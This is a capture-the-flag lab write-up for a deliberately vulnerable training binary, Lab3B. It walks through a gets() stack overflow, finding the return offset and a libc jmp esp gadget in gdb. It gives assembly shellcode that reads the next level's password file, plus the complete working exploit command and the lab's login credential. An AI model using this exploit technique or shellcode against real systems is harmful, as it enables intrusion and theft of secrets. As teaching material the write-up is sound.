Lab3B Write-up (Medium)

First, log into the Lab03 as Lab3B (lab3B:th3r3_iz_n0_4dm1ns_0n1y_U!) and go to the challenges folder:

$ ssh lab3B@<VM_IP>
$ cd /levels/lab03/

Let’s execute the program:

lab3B@warzone:/levels/lab03$ ./lab3B
just give me some shellcode, k
child is exiting...

Here, the program just asks for a shellcode.

Source Code Analysis

Let’s check the code to see if we can find a bug.


int main()
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if(child == 0)
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);

        puts("just give me some shellcode, k");
            if (WIFEXITED(status) || WIFSIGNALED(status)){
                puts("child is exiting...");

            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            /* filter out syscall 11, exec */
            if(syscall == 11)
                printf("no exec() for you\n");
                kill(child, SIGKILL);

    return EXIT_SUCCESS;

Not much to say here, we have a 128 bytes buffer and we can’t use the execve() (syscall 11) to call a /bin/bash. As the gets() function doesn’t check the size of the input buffer, we can easily overflow the stack.

Dynamic Analysis

First things first, let’s find the offset of the return address in gdb.

lab3B@warzone:/levels/lab03$ gdb lab3B
Reading symbols from lab3B...(no debugging symbols found)...done.
gdb-peda$ pattern create 300
gdb-peda$ run
Starting program: /levels/lab03/lab3B 
[New process 3108]
just give me some shellcode, k
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3108]
EAX: 0x0 
EBX: 0x6e414152 ('RAAn')
ECX: 0xfbad2288 
EDX: 0xb7fce8a4 --> 0x0 
ESI: 0x0 
EDI: 0x41534141 ('AASA')
EBP: 0x41416f41 ('AoAA')
EIP: 0x70414154 ('TAAp')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
Invalid $PC address: 0x70414154
0000| 0xbffff700 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0004| 0xbffff704 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0008| 0xbffff708 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0012| 0xbffff70c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0016| 0xbffff710 ("AsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0020| 0xbffff714 ("XAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0024| 0xbffff718 ("AAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0028| 0xbffff71c ("AuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x70414154 in ?? ()
gdb-peda$ pattern search 
Registers contain pattern buffer:
EIP+0 found at offset: 156
EBX+0 found at offset: 144
EDI+0 found at offset: 148
EBP+0 found at offset: 152
Registers point to pattern buffer:
[ESP] --> offset 160 - size ~140


It seems that we have to write 156 bytes before overwriting the return address. Let’s try that!

gdb-peda$ r < <(python -c 'print 156 * "\x41" + "\x42\x42\x42\x42" + 150 * "\x43"')
Starting program: /levels/lab03/lab3B < <(python -c 'print 156 * "\x41" + "\x42\x42\x42\x42" + 150 * "\x43"')
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/
[New process 3113]
just give me some shellcode, k
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3113]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad2088 
EDX: 0xb7fce8a4 --> 0x0 
ESI: 0x0 
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff700 ('C' <repeats 150 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
Invalid $PC address: 0x42424242
0000| 0xbffff700 ('C' <repeats 150 times>)
0004| 0xbffff704 ('C' <repeats 146 times>)
0008| 0xbffff708 ('C' <repeats 142 times>)
0012| 0xbffff70c ('C' <repeats 138 times>)
0016| 0xbffff710 ('C' <repeats 134 times>)
0020| 0xbffff714 ('C' <repeats 130 times>)
0024| 0xbffff718 ('C' <repeats 126 times>)
0028| 0xbffff71c ('C' <repeats 122 times>)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Now, we have the control of the return address, we also can put lots of data after the return address. Here, we could add our shellcode right after the return address and overwrite the return address with a pointer to the instruction jmp esp.

By doing it that way, we will avoid using a massive amount of NOP instructions and we won’t have to try multiple return address once outside gdb. Indeed, don’t forget that the stack addresses will be different outside gdb, if we hardcode a stack address as return address, the exploit could fail.

However, do we have jmp esp somewhere in the executable. gdb with PEDA allows use to use a function called jmpcall that search for JMP/CALL instructions in memory.

gdb-peda$ jmpcall
0x8048866 : call eax
0x80488a3 : call edx
0x80488ef : call eax
0x8048c5f : jmp [edx]
0x8048c9f : call [ecx]
0x8049866 : call eax
0x80498a3 : call edx
0x80498ef : call eax
0x8049c5f : jmp [edx]
0x8049c9f : call [ecx]

No luck… but let’s check how jmpcall works:

gdb-peda$ help jmpcall
Search for JMP/CALL instructions in memory
    jmpcall (search all JMP/CALL in current binary)
    jmpcall reg [mapname]
    jmpcall reg start end

Ah! It only scanned the binary! Given libc is likely to be loaded in our process, let’s find its address ranges and try again.

gdb-peda$ info file
Symbols from "/levels/lab03/lab3B".
Native process:
    Using the running image of child process 2062.
    While running this, GDB does not access memory from...
Local exec file:
    `/levels/lab03/lab3B', file type elf32-i386.
    Entry point: 0x8048800
    0x08048134 - 0x08048147 is .interp


    0xb7e3a420 - 0xb7f6bb6e is .text in /lib/i386-linux-gnu/


gdb-peda$ jmpcall esp 0xb7e3a420 0xb7f6bb6e
0xb7f0b1cd : jmp esp

Awesome! We have the right instruction at 0xb7f0b1cd, where the .text section of libc is loaded. Now, we can write our shellcode.


Here, one of the solution would be to write a shellcode that read the file containing the password and display it on the screen. Here is what I’ve done, with some comments :)

global _start

; int open(const char *pathname, int flags);
; EBX = *pathname
; ECX = flags
 xor ecx, ecx ; flags = read only
 push ecx ; null byte to end the path string
 ; push "/home/lab3B/.pass" in reverse order
 push "pass"
 push "3A/."
 push "/lab"
 push "home"
 push "////"
 mov ebx, esp ; move the string pointer in EBX
 xor eax, eax
 mov al, 5 ; sys_open()
 int 0x80
 mov edi, eax ; save the file handler

; We read the file
; read(int fd, void *buf, size_t count);
; EBX = fd
; ECX = *buf
; EDX = count
xor edx, edx
mov dl, 0x32 ; read 50 Bytes to the stack (just a guess)
mov ecx, esp
mov ebx, edi ; move fd in ebx
mov al, 3 ; sys_read()
int 0x80

; We write the data in stdout
; write(int fd, const void *buf, size_t count);
; EBX = fd
; ECX = *buf
; EDX = count
mov bl, 1 ; stdout
mov al, 4 ; sys_write()
int 0x80

Note The Warzone VM doesn’t have NASM installed, so I did the development on another Linux 32bit VM.

You can now create a file and assemble it.

nano read_shellcode.asm
nasm -f elf read_shellcode.asm
ld -o read_shellcode read_shellcode.o

Then, we can check the code and generate a shellcode.

$ objdump -M intel -d read_shellcode

read_shellcode:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:   31 c9                   xor    ecx,ecx
 8048062:   51                      push   ecx
 8048063:   68 70 61 73 73          push   0x73736170
 8048068:   68 33 41 2f 2e          push   0x2e2f4133
 804806d:   68 2f 6c 61 62          push   0x62616c2f
 8048072:   68 68 6f 6d 65          push   0x656d6f68
 8048077:   68 2f 2f 2f 2f          push   0x2f2f2f2f
 804807c:   89 e3                   mov    ebx,esp
 804807e:   31 c0                   xor    eax,eax
 8048080:   b0 05                   mov    al,0x5
 8048082:   cd 80                   int    0x80
 8048084:   89 c7                   mov    edi,eax
 8048086:   31 d2                   xor    edx,edx
 8048088:   b2 32                   mov    dl,0x32
 804808a:   89 e1                   mov    ecx,esp
 804808c:   89 fb                   mov    ebx,edi
 804808e:   b0 03                   mov    al,0x3
 8048090:   cd 80                   int    0x80
 8048092:   b3 01                   mov    bl,0x1
 8048094:   b0 04                   mov    al,0x4
 8048096:   cd 80                   int    0x80

# Quick trick to extract the shellcode from the binary
$ for i in $(objdump -d read_shellcode -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo


We have our shellcode, now we can solve the challenge!


Here, as we saw earlier, we will use the jmp esp address we found in libc as return address:

lab3B@warzone:/levels/lab03$ python -c 'exploit = 156 * "\x90" + "\xcd\xb1\xf0\xb7" + "\x31\xc9\x51\x68\x70\x61\x73\x73\x68\x33\x41\x2f\x2e\x68\x2f\x6c\x61\x62\x68\x68\x6f\x6d\x65\x68\x2f\x2f\x2f\x2f\x89\xe3\x31\xc0\xb0\x05\xcd\x80\x89\xc7\x31\xd2\xb2\x32\x89\xe1\x89\xfb\xb0\x03\xcd\x80\xb3\x01\xb0\x04\xcd\x80" ; print exploit + "\n"' | ./lab3B
just give me some shellcode, k

Good job! You can go to the next challenge!